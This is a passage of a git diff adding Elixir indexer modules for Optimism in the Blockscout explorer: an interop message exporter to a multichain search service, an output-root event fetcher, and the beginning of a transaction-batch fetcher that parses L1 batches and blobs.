MICROSERVICE_MULTICHAIN_SEARCH_URL env variable. + API key for the remote service is defined with MICROSERVICE_MULTICHAIN_SEARCH_API_KEY env variable. + """ + + use GenServer + use Indexer.Fetcher + + require Logger + + import Ecto.Query + import Explorer.Helper, only: [valid_url?: 1] + import Indexer.Fetcher.Optimism.Interop.Helper, only: [log_cant_get_chain_id_from_rpc: 0] + + alias Ecto.Multi + alias Explorer.Chain.Hash + alias Explorer.Chain.Optimism.InteropMessage + alias Explorer.MicroserviceInterfaces.MultichainSearch + alias Explorer.Repo + alias Indexer.Fetcher.Optimism + + @fetcher_name :optimism_interop_multichain_export + + def child_spec(start_link_arguments) do + spec = %{ + id: __MODULE__, + start: {__MODULE__, :start_link, start_link_arguments}, + restart: :transient, + type: :worker + } + + Supervisor.child_spec(spec, []) + end + + def start_link(args, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, args, Keyword.put_new(gen_server_options, :name, __MODULE__)) + end + + @impl GenServer + def init(_args) do + {:ok, %{}, {:continue, nil}} + end + + # Initialization function which is used instead of `init` to avoid Supervisor's stop in case of any critical issues + # during initialization. It checks the value of MICROSERVICE_MULTICHAIN_SEARCH_URL and MICROSERVICE_MULTICHAIN_SEARCH_API_KEY + # env variables and starts the handling loop. + # + # Also, the function fetches the current chain id to use it in the handler. + # + # When the initialization succeeds, the `:continue` message is sent to GenServer to start the handler loop. + # + # ## Parameters + # - `_state`: Initial state of the fetcher (empty map when starting). + # + # ## Returns + # - `{:noreply, state}` when the initialization is successful and the handling can start. The `state` contains + # necessary parameters needed for the handling. + # - `{:stop, :normal, %{}}` in case of error or when one of env variables is not defined. + @impl GenServer + @spec handle_continue(nil, map()) :: {:noreply, map()} | {:stop, :normal, map()} + def handle_continue(nil, _state) do + Logger.metadata(fetcher: @fetcher_name) + + # two seconds pause needed to avoid exceeding Supervisor restart intensity when DB issues + :timer.sleep(2000) + + env = Application.get_all_env(:indexer)[__MODULE__] + + multichain_api_url = MultichainSearch.batch_import_url() + multichain_api_key = MultichainSearch.api_key() + + with {:api_url_is_valid, true} <- {:api_url_is_valid, valid_url?(multichain_api_url)}, + {:api_key_is_nil, false} <- {:api_key_is_nil, is_nil(multichain_api_key)}, + chain_id = Optimism.fetch_chain_id(), + {:chain_id_is_nil, false} <- {:chain_id_is_nil, is_nil(chain_id)} do + Process.send(self(), :continue, []) + + {:noreply, + %{ + chain_id: chain_id, + multichain_api_url: multichain_api_url, + multichain_api_key: multichain_api_key, + batch_size: env[:batch_size] + }} + else + {:api_url_is_valid, false} -> + # Multichain service API URL is not defined, so we don't start this module + Logger.warning( + "MICROSERVICE_MULTICHAIN_SEARCH_URL env variable is invalid or not defined. The module #{__MODULE__} will not start." + ) + + {:stop, :normal, %{}} + + {:api_key_is_nil, true} -> + Logger.error( + "MICROSERVICE_MULTICHAIN_SEARCH_API_KEY env variable is not defined. The module #{__MODULE__} will not start." + ) + + {:stop, :normal, %{}} + + {:chain_id_is_nil, true} -> + log_cant_get_chain_id_from_rpc() + {:stop, :normal, %{}} + end + end + + # Performs the main handling loop scanning for unsent part of messages. + # + # Details of each unsent message part are prepared and sent to the remote multichain instance through its API. + # + # ## Parameters + # - `:continue`: The GenServer message. + # - `state`: The current state of the fetcher containing the current chain ID, API URL and key, and batch size. + # + # ## Returns + # - `{:noreply, state}` tuple. + @impl GenServer + def handle_info( + :continue, + %{ + chain_id: current_chain_id, + multichain_api_url: multichain_api_url, + multichain_api_key: multichain_api_key, + batch_size: batch_size + } = state + ) do + messages = InteropMessage.get_messages_for_multichain_export(current_chain_id, batch_size) + + data = prepare_post_data(current_chain_id, messages, multichain_api_key) + + if post_json_request(multichain_api_url, data) do + {:ok, _} = + messages + |> Enum.reduce(Multi.new(), fn message, multi_acc -> + Multi.update_all( + multi_acc, + {:message, message.nonce, message.init_chain_id}, + from(m in InteropMessage, where: m.nonce == ^message.nonce and m.init_chain_id == ^message.init_chain_id), + set: [sent_to_multichain: true] + ) + end) + |> Repo.transaction() + + Logger.info("#{length(messages)} item(s) were successfully sent to the Multichain service.") + end + + if messages == [] do + Logger.info("There are no items to send to the Multichain service. Retrying in a few moments...") + end + + Process.send_after(self(), :continue, :timer.seconds(3)) + + {:noreply, state} + end + + @impl GenServer + def handle_info({ref, _result}, state) do + Process.demonitor(ref, [:flush]) + {:noreply, state} + end + + # Prepares data to send as POST request to the remote multichain API endpoint. + # + # ## Parameters + # - `current_chain_id`: The current chain ID. + # - `messages`: A list of maps containing the messages data. + # - `api_key`: API key to access the remote import endpoint. + # + # ## Returns + # - The prepared data map if the `messages` list is not empty. + # - `nil` if the `messages` list is empty. + @spec prepare_post_data(non_neg_integer(), [map()], String.t()) :: map() | nil + defp prepare_post_data(_current_chain_id, [], _api_key), do: nil + + defp prepare_post_data(current_chain_id, messages, api_key) do + interop_messages = + messages + |> Enum.map(fn message -> + if message.init_chain_id == current_chain_id do + # this is `init` part of an outgoing message + %{ + init: %{ + sender_address_hash: Hash.to_string(message.sender_address_hash), + target_address_hash: Hash.to_string(message.target_address_hash), + nonce: Integer.to_string(message.nonce), + init_chain_id: Integer.to_string(message.init_chain_id), + init_transaction_hash: Hash.to_string(message.init_transaction_hash), + timestamp: Integer.to_string(DateTime.to_unix(message.timestamp)), + relay_chain_id: Integer.to_string(message.relay_chain_id), + payload: message.payload, + transfer_token_address_hash: message.transfer_token_address_hash, + transfer_from_address_hash: message.transfer_from_address_hash, + transfer_to_address_hash: message.transfer_to_address_hash, + transfer_amount: + if(not is_nil(message.transfer_amount), do: Decimal.to_string(message.transfer_amount, :normal)) + } + } + else + # this is `relay` part of an incoming message + %{ + relay: %{ + nonce: Integer.to_string(message.nonce), + init_chain_id: Integer.to_string(message.init_chain_id), + relay_chain_id: Integer.to_string(message.relay_chain_id), + relay_transaction_hash: Hash.to_string(message.relay_transaction_hash), + failed: message.failed + } + } + end + end) + + %{ + chain_id: Integer.to_string(current_chain_id), + interop_messages: interop_messages, + api_key: api_key + } + end + + # Sends message's data to the given remote multichain instance using HTTP POST request. + # + # ## Parameters + # - `url`: URL of the remote API endpoint to send the data to. + # - `body`: A map with message's data. + # + # ## Returns + # - `true` in case of success. + # - `false` in case of failure. + @spec post_json_request(String.t(), map() | nil) :: boolean() + defp post_json_request(_url, nil), do: false + + defp post_json_request(url, body) do + timeout = 8_000 + recv_timeout = 5_000 + + client = Tesla.client([{Tesla.Middleware.Timeout, timeout: recv_timeout}], Tesla.Adapter.Mint) + json_body = Jason.encode!(body) + headers = [{"Content-Type", "application/json"}] + + # Mint adapter doesn't support sending more than 65535 bytes when using HTTP/2, so we use HTTP/1 + opts = [adapter: [timeout: recv_timeout, transport_opts: [timeout: timeout], protocols: [:http1]]] + + case Tesla.post(client, url, json_body, headers: headers, opts: opts) do + {:ok, %{status: 200}} -> + true + + reason -> + Logger.error("Cannot post HTTP request to #{url}. Reason: #{inspect(reason)}. Body: #{inspect(json_body)}") + false + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/optimism/output_root.ex b/apps/indexer/lib/indexer/fetcher/optimism/output_root.ex new file mode 100644 index 000000000000..49e2fed7483b --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/optimism/output_root.ex @@ -0,0 +1,247 @@ +defmodule Indexer.Fetcher.Optimism.OutputRoot do + @moduledoc """ + Fills op_output_roots DB table. + """ + + use GenServer + use Indexer.Fetcher + + require Logger + + import Ecto.Query + + import EthereumJSONRPC, only: [quantity_to_integer: 1] + + alias Explorer.Application.Constants + alias Explorer.{Chain, Helper, Repo} + alias Explorer.Chain.Optimism.{DisputeGame, OutputRoot} + alias Explorer.Chain.RollupReorgMonitorQueue + alias Indexer.Fetcher.Optimism + alias Indexer.Helper, as: IndexerHelper + + @fetcher_name :optimism_output_roots + @stop_constant_key "optimism_output_roots_stopped" + @counter_type "optimism_output_roots_fetcher_last_l1_block_hash" + @empty_hash "0x0000000000000000000000000000000000000000000000000000000000000000" + + # 32-byte signature of the event OutputProposed(bytes32 indexed outputRoot, uint256 indexed l2OutputIndex, uint256 indexed l2BlockNumber, uint256 l1Timestamp) + @output_proposed_event "0xa7aaf2512769da4e444e3de247be2564225c2e7a8f74cfe528e46e17d24868e2" + + def child_spec(start_link_arguments) do + spec = %{ + id: __MODULE__, + start: {__MODULE__, :start_link, start_link_arguments}, + restart: :transient, + type: :worker + } + + Supervisor.child_spec(spec, []) + end + + def start_link(args, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, args, Keyword.put_new(gen_server_options, :name, __MODULE__)) + end + + @impl GenServer + def init(_args) do + {:ok, %{}, {:continue, :ok}} + end + + @impl GenServer + def handle_continue(:ok, _state) do + Logger.metadata(fetcher: @fetcher_name) + + # two seconds pause needed to avoid exceeding Supervisor restart intensity when DB issues + :timer.sleep(2000) + + if Constants.get_constant_value(@stop_constant_key) == "true" do + Logger.warning("#{__MODULE__} will not start because dispute games exist.") + {:stop, :normal, %{}} + else + env = Application.get_all_env(:indexer)[__MODULE__] + Optimism.init_continue(env[:output_oracle], __MODULE__) + end + end + + @impl GenServer + def handle_info( + :continue, + %{ + contract_address: output_oracle, + block_check_interval: block_check_interval, + start_block: start_block, + end_block: end_block, + json_rpc_named_arguments: json_rpc_named_arguments, + eth_get_logs_range_size: eth_get_logs_range_size, + stop: stop + } = state + ) do + # credo:disable-for-next-line + time_before = Timex.now() + + chunks_number = ceil((end_block - start_block + 1) / eth_get_logs_range_size) + chunk_range = Range.new(0, max(chunks_number - 1, 0), 1) + + last_written_block = + chunk_range + |> Enum.reduce_while(start_block - 1, fn current_chunk, _ -> + chunk_start = start_block + eth_get_logs_range_size * current_chunk + chunk_end = min(chunk_start + eth_get_logs_range_size - 1, end_block) + + if chunk_end >= chunk_start do + IndexerHelper.log_blocks_chunk_handling(chunk_start, chunk_end, start_block, end_block, nil, :L1) + + {:ok, result} = + IndexerHelper.get_logs( + chunk_start, + chunk_end, + output_oracle, + [@output_proposed_event], + json_rpc_named_arguments, + 0, + IndexerHelper.infinite_retries_number() + ) + + output_roots = events_to_output_roots(result) + + {:ok, _} = + Chain.import(%{ + optimism_output_roots: %{params: output_roots}, + timeout: :infinity + }) + + IndexerHelper.log_blocks_chunk_handling( + chunk_start, + chunk_end, + start_block, + end_block, + "#{Enum.count(output_roots)} OutputProposed event(s)", + :L1 + ) + end + + reorg_block = RollupReorgMonitorQueue.reorg_block_pop(__MODULE__) + + if !is_nil(reorg_block) && reorg_block > 0 do + {deleted_count, _} = Repo.delete_all(from(r in OutputRoot, where: r.l1_block_number >= ^reorg_block)) + + log_deleted_rows_count(reorg_block, deleted_count) + + Optimism.set_last_block_hash(@empty_hash, @counter_type) + + {:halt, if(reorg_block <= chunk_end, do: reorg_block - 1, else: chunk_end)} + else + # credo:disable-for-next-line Credo.Check.Refactor.Nesting + if chunk_end >= chunk_start do + Optimism.set_last_block_hash_by_number(chunk_end, @counter_type, json_rpc_named_arguments) + end + + {:cont, chunk_end} + end + end) + + if stop do + Logger.warning("#{__MODULE__} is being stopped because dispute games exist.") + Constants.set_constant_value(@stop_constant_key, "true") + {:stop, :normal, state} + else + new_start_block = last_written_block + 1 + new_end_block = IndexerHelper.fetch_latest_l1_block_number(json_rpc_named_arguments) + + delay = + if new_end_block == last_written_block do + # there is no new block, so wait for some time to let the chain issue the new block + max(block_check_interval - Timex.diff(Timex.now(), time_before, :milliseconds), 0) + else + 0 + end + + Process.send_after(self(), :continue, delay) + + {:noreply, %{state | start_block: new_start_block, end_block: new_end_block, stop: dispute_games_exist?()}} + end + end + + @impl GenServer + def handle_info({ref, _result}, state) do + Process.demonitor(ref, [:flush]) + {:noreply, state} + end + + defp dispute_games_exist? do + DisputeGame.get_last_known_index() >= 0 + end + + defp events_to_output_roots(events) do + Enum.map(events, fn event -> + [l1_timestamp] = Helper.decode_data(event["data"], [{:uint, 256}]) + {:ok, l1_timestamp} = DateTime.from_unix(l1_timestamp) + + %{ + l2_output_index: quantity_to_integer(Enum.at(event["topics"], 2)), + l2_block_number: quantity_to_integer(Enum.at(event["topics"], 3)), + l1_transaction_hash: event["transactionHash"], + l1_timestamp: l1_timestamp, + l1_block_number: quantity_to_integer(event["blockNumber"]), + output_root: Enum.at(event["topics"], 1) + } + end) + end + + defp log_deleted_rows_count(reorg_block, count) do + if count > 0 do + Logger.warning( + "As L1 reorg was detected, all rows with l1_block_number >= #{reorg_block} were removed from the op_output_roots table. Number of removed rows: #{count}." + ) + end + end + + @doc """ + Determines the last saved L1 block number, the last saved transaction hash, and the transaction info for Output Roots. + + Used by the `Indexer.Fetcher.Optimism` module to start fetching from a correct block number + after reorg has occurred. + + ## Parameters + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + Used to get transaction info by its hash from the RPC node. + + ## Returns + - A tuple `{last_block_number, last_transaction_hash, last_transaction}` where + `last_block_number` is the last block number found in the corresponding table (0 if not found), + `last_transaction_hash` is the last transaction hash found in the corresponding table (nil if not found), + `last_transaction` is the transaction info got from the RPC (nil if not found). + - A tuple `{:error, message}` in case the `eth_getTransactionByHash` RPC request failed. + """ + @spec get_last_l1_item(EthereumJSONRPC.json_rpc_named_arguments()) :: + {non_neg_integer(), binary() | nil, map() | nil} | {:error, any()} + def get_last_l1_item(json_rpc_named_arguments) do + Optimism.get_last_item( + :L1, + &OutputRoot.last_root_l1_block_number_query/0, + &OutputRoot.remove_roots_query/1, + json_rpc_named_arguments, + @counter_type + ) + end + + @doc """ + Returns L1 RPC URL for this module. + """ + @spec l1_rpc_url() :: binary() | nil + def l1_rpc_url do + Optimism.l1_rpc_url() + end + + @doc """ + Determines if `Indexer.Fetcher.RollupL1ReorgMonitor` module must be up + before this fetcher starts. + + ## Returns + - `true` if the reorg monitor must be active, `false` otherwise. + """ + @spec requires_l1_reorg_monitor?() :: boolean() + def requires_l1_reorg_monitor? do + Optimism.requires_l1_reorg_monitor?() + end +end diff --git a/apps/indexer/lib/indexer/fetcher/optimism/transaction_batch.ex b/apps/indexer/lib/indexer/fetcher/optimism/transaction_batch.ex new file mode 100644 index 000000000000..86196f5a5d2b --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/optimism/transaction_batch.ex @@ -0,0 +1,1529 @@ +defmodule Indexer.Fetcher.Optimism.TransactionBatch do + @moduledoc """ + Fills op_transaction_batches, op_frame_sequence, and op_frame_sequence_blobs DB tables. + + This module parses L1 batch transactions, handles them to retrieve L2 block batches info + and save it to the database. + + If an L1 transaction is a blob transaction (either EIP-4844, Celestia, etc.), the blob + is read from the corresponding server by its API URL and parsed to get raw data. Blob + metadata is saved to op_frame_sequence_blobs DB table. + + According to EIP-4844, an L1 transaction can have more than one blob. Each EIP-4844 blob + contains a separate frame (part of a frame sequence that encodes a batch), so usually + L1 EIP-4844 transaction represents a frame sequence. + + Celestia L1 transaction can have only one blob. A batch can be split into several Celestia blobs + related to different L1 transactions (usually following each other). + """ + + use GenServer + use Indexer.Fetcher + + require Logger + + import Ecto.Query + + import EthereumJSONRPC, only: [fetch_blocks_by_range: 2, json_rpc: 2, quantity_to_integer: 1] + + import Explorer.Helper, only: [hash_to_binary: 1, parse_integer: 1] + + alias Ecto.Multi + alias EthereumJSONRPC.Block.ByHash + alias EthereumJSONRPC.{Blocks, Contract} + alias Explorer.{Chain, Repo} + alias Explorer.Chain.{Block, Hash, RollupReorgMonitorQueue} + alias Explorer.Chain.Events.Publisher + alias Explorer.Chain.Optimism.{FrameSequence, FrameSequenceBlob} + alias Explorer.Chain.Optimism.TransactionBatch, as: OptimismTransactionBatch + alias Indexer.Fetcher.{Optimism, RollupL1ReorgMonitor} + alias Indexer.Helper + alias Indexer.Prometheus.Instrumenter + alias Varint.LEB128 + + @fetcher_name :optimism_transaction_batches + + @compressor_brotli 1 + @counter_type "optimism_batches_fetcher_last_l1_block_hash" + @empty_hash "0x0000000000000000000000000000000000000000000000000000000000000000" + + def child_spec(start_link_arguments) do + spec = %{ + id: __MODULE__, + start: {__MODULE__, :start_link, start_link_arguments}, + restart: :transient, + type: :worker + } + + Supervisor.child_spec(spec, []) + end + + def start_link(args, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, args, Keyword.put_new(gen_server_options, :name, __MODULE__)) + end + + @impl GenServer + def init(args) do + {:ok, %{json_rpc_named_arguments_l2: args[:json_rpc_named_arguments]}, {:continue, nil}} + end + + @impl GenServer + def handle_continue(_, state) do + Logger.metadata(fetcher: @fetcher_name) + # two seconds pause needed to avoid exceeding Supervisor restart intensity when DB issues + Process.send_after(self(), :init_with_delay, 2000) + {:noreply, state} + end + + @impl GenServer + def handle_info( + :init_with_delay, + %{json_rpc_named_arguments_l2: json_rpc_named_arguments_l2} = state + ) do + env = Application.get_all_env(:indexer)[__MODULE__] + + optimism_env = Application.get_all_env(:indexer)[Indexer.Fetcher.Optimism] + system_config = optimism_env[:optimism_l1_system_config] + optimism_l1_rpc = l1_rpc_url() + + with {:system_config_valid, true} <- + {:system_config_valid, Helper.address_correct?(system_config)}, + {:genesis_block_l2_invalid, false} <- + {:genesis_block_l2_invalid, is_nil(env[:genesis_block_l2]) or env[:genesis_block_l2] < 0}, + _ <- RollupL1ReorgMonitor.wait_for_start(__MODULE__), + {:rpc_l1_undefined, false} <- {:rpc_l1_undefined, is_nil(optimism_l1_rpc)}, + json_rpc_named_arguments = Helper.json_rpc_named_arguments(optimism_l1_rpc), + {:system_config_read, {start_block_l1, batch_inbox, batch_submitter}} <- + {:system_config_read, read_system_config(system_config, json_rpc_named_arguments)}, + {:batch_inbox_valid, true} <- {:batch_inbox_valid, Helper.address_correct?(batch_inbox)}, + {:batch_submitter_valid, true} <- + {:batch_submitter_valid, Helper.address_correct?(batch_submitter)}, + true <- start_block_l1 > 0, + chunk_size = parse_integer(env[:blocks_chunk_size]), + {:chunk_size_valid, true} <- {:chunk_size_valid, !is_nil(chunk_size) && chunk_size > 0}, + {:block_duration_valid, true} <- {:block_duration_valid, optimism_env[:block_duration] > 0}, + {last_l1_block_number, last_l1_transaction_hash, last_l1_transaction} = + get_last_l1_item(json_rpc_named_arguments), + {:start_block_l1_valid, true} <- + {:start_block_l1_valid, start_block_l1 <= last_l1_block_number || last_l1_block_number == 0}, + {:l1_transaction_not_found, false} <- + {:l1_transaction_not_found, !is_nil(last_l1_transaction_hash) && is_nil(last_l1_transaction)}, + {:ok, block_check_interval, last_safe_block} <- + Helper.get_block_check_interval(json_rpc_named_arguments) do + start_block = max(start_block_l1, last_l1_block_number) + + chain_id_l1 = + case EthereumJSONRPC.fetch_chain_id(json_rpc_named_arguments) do + {:ok, id} -> + id + + {:error, reason} -> + Logger.warning( + "Cannot get Chain ID from L1 RPC. Reason: #{inspect(reason)}. The module will use fallback values from INDEXER_BEACON_BLOB_FETCHER_* env variables." + ) + + nil + end + + Process.send(self(), :continue, []) + + {:noreply, + %{ + batch_inbox: batch_inbox, + batch_submitter: batch_submitter, + eip4844_blobs_api_url: Helper.trim_url(env[:eip4844_blobs_api_url]), + celestia_blobs_api_url: Helper.trim_url(env[:celestia_blobs_api_url]), + block_check_interval: block_check_interval, + start_block: start_block, + end_block: last_safe_block, + chunk_size: chunk_size, + incomplete_channels: %{}, + genesis_block_l2: env[:genesis_block_l2], + block_duration: optimism_env[:block_duration], + json_rpc_named_arguments: json_rpc_named_arguments, + json_rpc_named_arguments_l2: json_rpc_named_arguments_l2, + chain_id_l1: chain_id_l1 + }} + else + {:system_config_valid, false} -> + Logger.error("SystemConfig contract address is invalid or undefined.") + {:stop, :normal, state} + + {:genesis_block_l2_invalid, true} -> + Logger.error("L2 genesis block number is undefined or invalid.") + {:stop, :normal, state} + + {:rpc_l1_undefined, true} -> + Logger.error("L1 RPC URL is not defined.") + {:stop, :normal, state} + + {:batch_inbox_valid, false} -> + Logger.error("Batch Inbox address is invalid or not defined.") + {:stop, :normal, state} + + {:batch_submitter_valid, false} -> + Logger.error("Batch Submitter address is invalid or not defined.") + {:stop, :normal, state} + + {:start_block_l1_valid, false} -> + Logger.error("Invalid L1 Start Block value. Please, check the value and op_transaction_batches table.") + + {:stop, :normal, state} + + {:chunk_size_valid, false} -> + Logger.error("Invalid blocks chunk size value.") + {:stop, :normal, state} + + {:block_duration_valid, false} -> + Logger.error("Check INDEXER_OPTIMISM_BLOCK_DURATION env variable. Its value must be a positive integer.") + {:stop, :normal, state} + + {:error, error_data} -> + Logger.error("Cannot get block timestamp by its number due to RPC error: #{inspect(error_data)}") + + {:stop, :normal, state} + + {:l1_transaction_not_found, true} -> + Logger.error( + "Cannot find last L1 transaction from RPC by its hash. Probably, there was a reorg on L1 chain. Please, check op_transaction_batches table." + ) + + {:stop, :normal, state} + + {:system_config_read, nil} -> + Logger.error("Cannot read SystemConfig contract and fallback envs are not correctly defined.") + {:stop, :normal, state} + + _ -> + Logger.error("Batch Start Block is invalid or zero.") + {:stop, :normal, state} + end + end + + # The main handler filtering L1 transactions and parsing them to retrieve + # batches of L2 blocks. + # + # The work is split into chunks (L1 block subranges) of the specified block range. + # The chunk size is configurable through INDEXER_OPTIMISM_L1_BATCH_BLOCKS_CHUNK_SIZE + # env variable. + # + # When the last block of the range is reached, the handler switches to `(last+1)..latest` + # block range and then handles the new blocks in realtime. The latest block number is checked + # every `block_check_interval` milliseconds which is calculated in the init function. + # + # ## Parameters (in the `state` param) + # - `batch_inbox`: L1 address which accepts L1 batch transactions + # - `batch_submitter`: L1 address which sends L1 batch transactions to the `batch_inbox` + # - `eip4844_blobs_api_url`: URL of Blockscout Blobs API to get EIP-4844 blobs + # - `celestia_blobs_api_url`: URL of the server where Celestia blobs can be read from + # - `block_check_interval`: time interval for checking latest block number + # - `start_block`: start block number of the block range + # - `end_block`: end block number of the block range + # - `chunk_size`: max number of L1 blocks in one chunk + # - `incomplete_channels`: intermediate map of channels (incomplete frame sequences) in memory + # - `genesis_block_l2`: Optimism BedRock upgrade L2 block number (used when parsing span batches) + # - `block_duration`: L2 block duration in seconds (used when parsing span batches) + # - `json_rpc_named_arguments`: data to connect to L1 RPC server + # - `json_rpc_named_arguments_l2`: data to connect to L2 RPC server + # - `chain_id_l1`: chain ID of L1 layer. + @impl GenServer + def handle_info( + :continue, + %{ + batch_inbox: batch_inbox, + batch_submitter: batch_submitter, + eip4844_blobs_api_url: eip4844_blobs_api_url, + celestia_blobs_api_url: celestia_blobs_api_url, + block_check_interval: block_check_interval, + start_block: start_block, + end_block: end_block, + chunk_size: chunk_size, + incomplete_channels: incomplete_channels, + genesis_block_l2: genesis_block_l2, + block_duration: block_duration, + json_rpc_named_arguments: json_rpc_named_arguments, + json_rpc_named_arguments_l2: json_rpc_named_arguments_l2, + chain_id_l1: chain_id_l1 + } = state + ) do + time_before = Timex.now() + + chunks_number = ceil((end_block - start_block + 1) / chunk_size) + chunk_range = Range.new(0, max(chunks_number - 1, 0), 1) + + {last_written_block, new_incomplete_channels} = + chunk_range + |> Enum.reduce_while({start_block - 1, incomplete_channels}, fn current_chunk, {_, incomplete_channels_acc} -> + chunk_start = start_block + chunk_size * current_chunk + chunk_end = min(chunk_start + chunk_size - 1, end_block) + + {new_incomplete_channels, last_block_hash} = + if chunk_end >= chunk_start do + Helper.log_blocks_chunk_handling( + chunk_start, + chunk_end, + start_block, + end_block, + nil, + :L1 + ) + + {:ok, new_incomplete_channels, batches, sequences, blobs, last_block_hash} = + get_transaction_batches( + Range.new(chunk_start, chunk_end), + batch_inbox, + batch_submitter, + {genesis_block_l2, block_duration}, + incomplete_channels_acc, + {json_rpc_named_arguments, json_rpc_named_arguments_l2}, + {eip4844_blobs_api_url, celestia_blobs_api_url, chain_id_l1}, + Helper.infinite_retries_number() + ) + + {batches, sequences, blobs} = remove_duplicates(batches, sequences, blobs) + + {:ok, _} = + Chain.import(%{ + optimism_frame_sequences: %{params: sequences}, + timeout: :infinity + }) + + {:ok, inserted} = + Chain.import(%{ + optimism_frame_sequence_blobs: %{params: blobs}, + optimism_transaction_batches: %{params: batches}, + timeout: :infinity + }) + + removed_sequence_ids = remove_prev_frame_sequences(inserted) + sequences = Enum.reject(sequences, fn s -> s.id in removed_sequence_ids end) + set_frame_sequences_view_ready(sequences) + + last_batch = + sequences + |> Enum.max_by(& &1.id, fn -> nil end) + + # credo:disable-for-next-line + if last_batch do + Instrumenter.set_latest_batch(last_batch.id, last_batch.l1_timestamp) + end + + Publisher.broadcast( + %{ + new_optimism_batches: Enum.map(sequences, &FrameSequence.batch_by_number(&1.id, include_blobs?: false)) + }, + :realtime + ) + + Helper.log_blocks_chunk_handling( + chunk_start, + chunk_end, + start_block, + end_block, + "#{Enum.count(sequences)} batch(es) containing #{Enum.count(batches)} block(s).", + :L1 + ) + + {new_incomplete_channels, last_block_hash} + else + {incomplete_channels_acc, nil} + end + + reorg_block = RollupReorgMonitorQueue.reorg_block_pop(__MODULE__) + + if !is_nil(reorg_block) && reorg_block > 0 do + new_incomplete_channels = handle_l1_reorg(reorg_block, new_incomplete_channels) + + Optimism.set_last_block_hash(@empty_hash, @counter_type) + + {:halt, {if(reorg_block <= chunk_end, do: reorg_block - 1, else: chunk_end), new_incomplete_channels}} + else + Optimism.set_last_block_hash(last_block_hash, @counter_type) + + {:cont, {chunk_end, new_incomplete_channels}} + end + end) + + new_start_block = last_written_block + 1 + new_end_block = Helper.fetch_latest_l1_block_number(json_rpc_named_arguments) + + delay = + if new_end_block == last_written_block do + # there is no new block, so wait for some time to let the chain issue the new block + max(block_check_interval - Timex.diff(Timex.now(), time_before, :milliseconds), 0) + else + 0 + end + + Process.send_after(self(), :continue, delay) + + {:noreply, + %{ + state + | start_block: new_start_block, + end_block: new_end_block, + incomplete_channels: new_incomplete_channels + }} + end + + @impl GenServer + def handle_info({ref, _result}, state) do + Process.demonitor(ref, [:flush]) + {:noreply, state} + end + + @doc false + def get_block_numbers_by_hashes([], _json_rpc_named_arguments_l2) do + %{} + end + + def get_block_numbers_by_hashes(hashes, json_rpc_named_arguments_l2) do + query = + from( + b in Block, + select: {b.hash, b.number}, + where: b.hash in ^hashes + ) + + number_by_hash = + query + |> Repo.all(timeout: :infinity) + |> Enum.reduce(%{}, fn {hash, number}, acc -> + Map.put(acc, hash.bytes, number) + end) + + requests = + hashes + |> Enum.filter(fn hash -> is_nil(Map.get(number_by_hash, hash)) end) + |> Enum.with_index() + |> Enum.map(fn {hash, id} -> + {:ok, hash} = Hash.Full.cast(hash) + ByHash.request(%{hash: hash, id: id}, false) + end) + + chunk_size = 50 + chunks_number = ceil(Enum.count(requests) / chunk_size) + chunk_range = Range.new(0, chunks_number - 1, 1) + + chunk_range + |> Enum.reduce([], fn current_chunk, acc -> + {:ok, resp} = + requests + |> Enum.slice(chunk_size * current_chunk, chunk_size) + |> json_rpc(json_rpc_named_arguments_l2) + + acc ++ resp + end) + |> Enum.map(fn %{result: result} -> result end) + |> Enum.reduce(number_by_hash, fn block, acc -> + if is_nil(block) do + acc + else + block_number = quantity_to_integer(Map.get(block, "number")) + "0x" <> hash = Map.get(block, "hash") + {:ok, hash} = Base.decode16(hash, case: :lower) + Map.put(acc, hash, block_number) + end + end) + end + + defp get_block_hash_by_number(block_number, blocks_params) do + block = Enum.find(blocks_params, %{hash: nil}, fn b -> b.number == block_number end) + block.hash + end + + defp get_block_timestamp_by_number(block_number, blocks_params) do + block = Enum.find(blocks_params, %{timestamp: nil}, fn b -> b.number == block_number end) + block.timestamp + end + + # Determines the last saved L1 block number, the last saved transaction hash, and the transaction info for batches. + # + # Utilized to start fetching from a correct block number after reorg has occurred. + # + # ## Parameters + # - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + # Used to get transaction info by its hash from the RPC node. + # + # ## Returns + # - A tuple `{last_block_number, last_transaction_hash, last_transaction}` where + # `last_block_number` is the last block number found in the corresponding table (0 if not found), + # `last_transaction_hash` is the last transaction hash found in the corresponding table (nil if not found), + # `last_transaction` is the transaction info got from the RPC (nil if not found). + @spec get_last_l1_item(EthereumJSONRPC.json_rpc_named_arguments()) :: {non_neg_integer(), binary() | nil, map() | nil} + defp get_last_l1_item(json_rpc_named_arguments) do + last_l1_block_number = + Optimism.get_last_block_number_from_last_fetched_counter(json_rpc_named_arguments, @counter_type) + + if is_nil(last_l1_block_number) do + result = + Repo.one( + from( + tb in OptimismTransactionBatch, + inner_join: fs in FrameSequence, + on: fs.id == tb.frame_sequence_id, + select: {fs.id, fs.l1_transaction_hashes}, + order_by: [desc: tb.l2_block_number], + limit: 1 + ) + ) + + with {:empty_hashes, false} <- {:empty_hashes, is_nil(result)}, + l1_transaction_hashes = elem(result, 1), + last_l1_transaction_hash = List.last(l1_transaction_hashes), + {:ok, last_l1_transaction} = + Helper.get_transaction_by_hash(last_l1_transaction_hash, json_rpc_named_arguments), + {:empty_transaction, false, last_l1_transaction_hash} <- + {:empty_transaction, is_nil(last_l1_transaction), last_l1_transaction_hash} do + last_l1_block_number = quantity_to_integer(Map.get(last_l1_transaction, "blockNumber", 0)) + {last_l1_block_number, last_l1_transaction_hash, last_l1_transaction} + else + {:empty_hashes, true} -> + {0, nil, nil} + + {:empty_transaction, true, last_l1_transaction_hash} -> + Logger.error( + "Cannot find last L1 transaction from RPC by its hash (#{last_l1_transaction_hash}). Probably, there was a reorg on L1 chain. Trying to check preceding frame sequence..." + ) + + id = elem(result, 0) + + Multi.new() + |> Multi.delete_all( + :delete_transaction_batches, + from(tb in OptimismTransactionBatch, where: tb.frame_sequence_id == ^id) + ) + |> Multi.delete_all(:delete_frame_sequence, from(fs in FrameSequence, where: fs.id == ^id)) + |> Repo.transaction() + + get_last_l1_item(json_rpc_named_arguments) + end + else + {last_l1_block_number, nil, nil} + end + end + + defp get_transaction_batches( + block_range, + batch_inbox, + batch_submitter, + {genesis_block_l2, block_duration}, + incomplete_channels, + 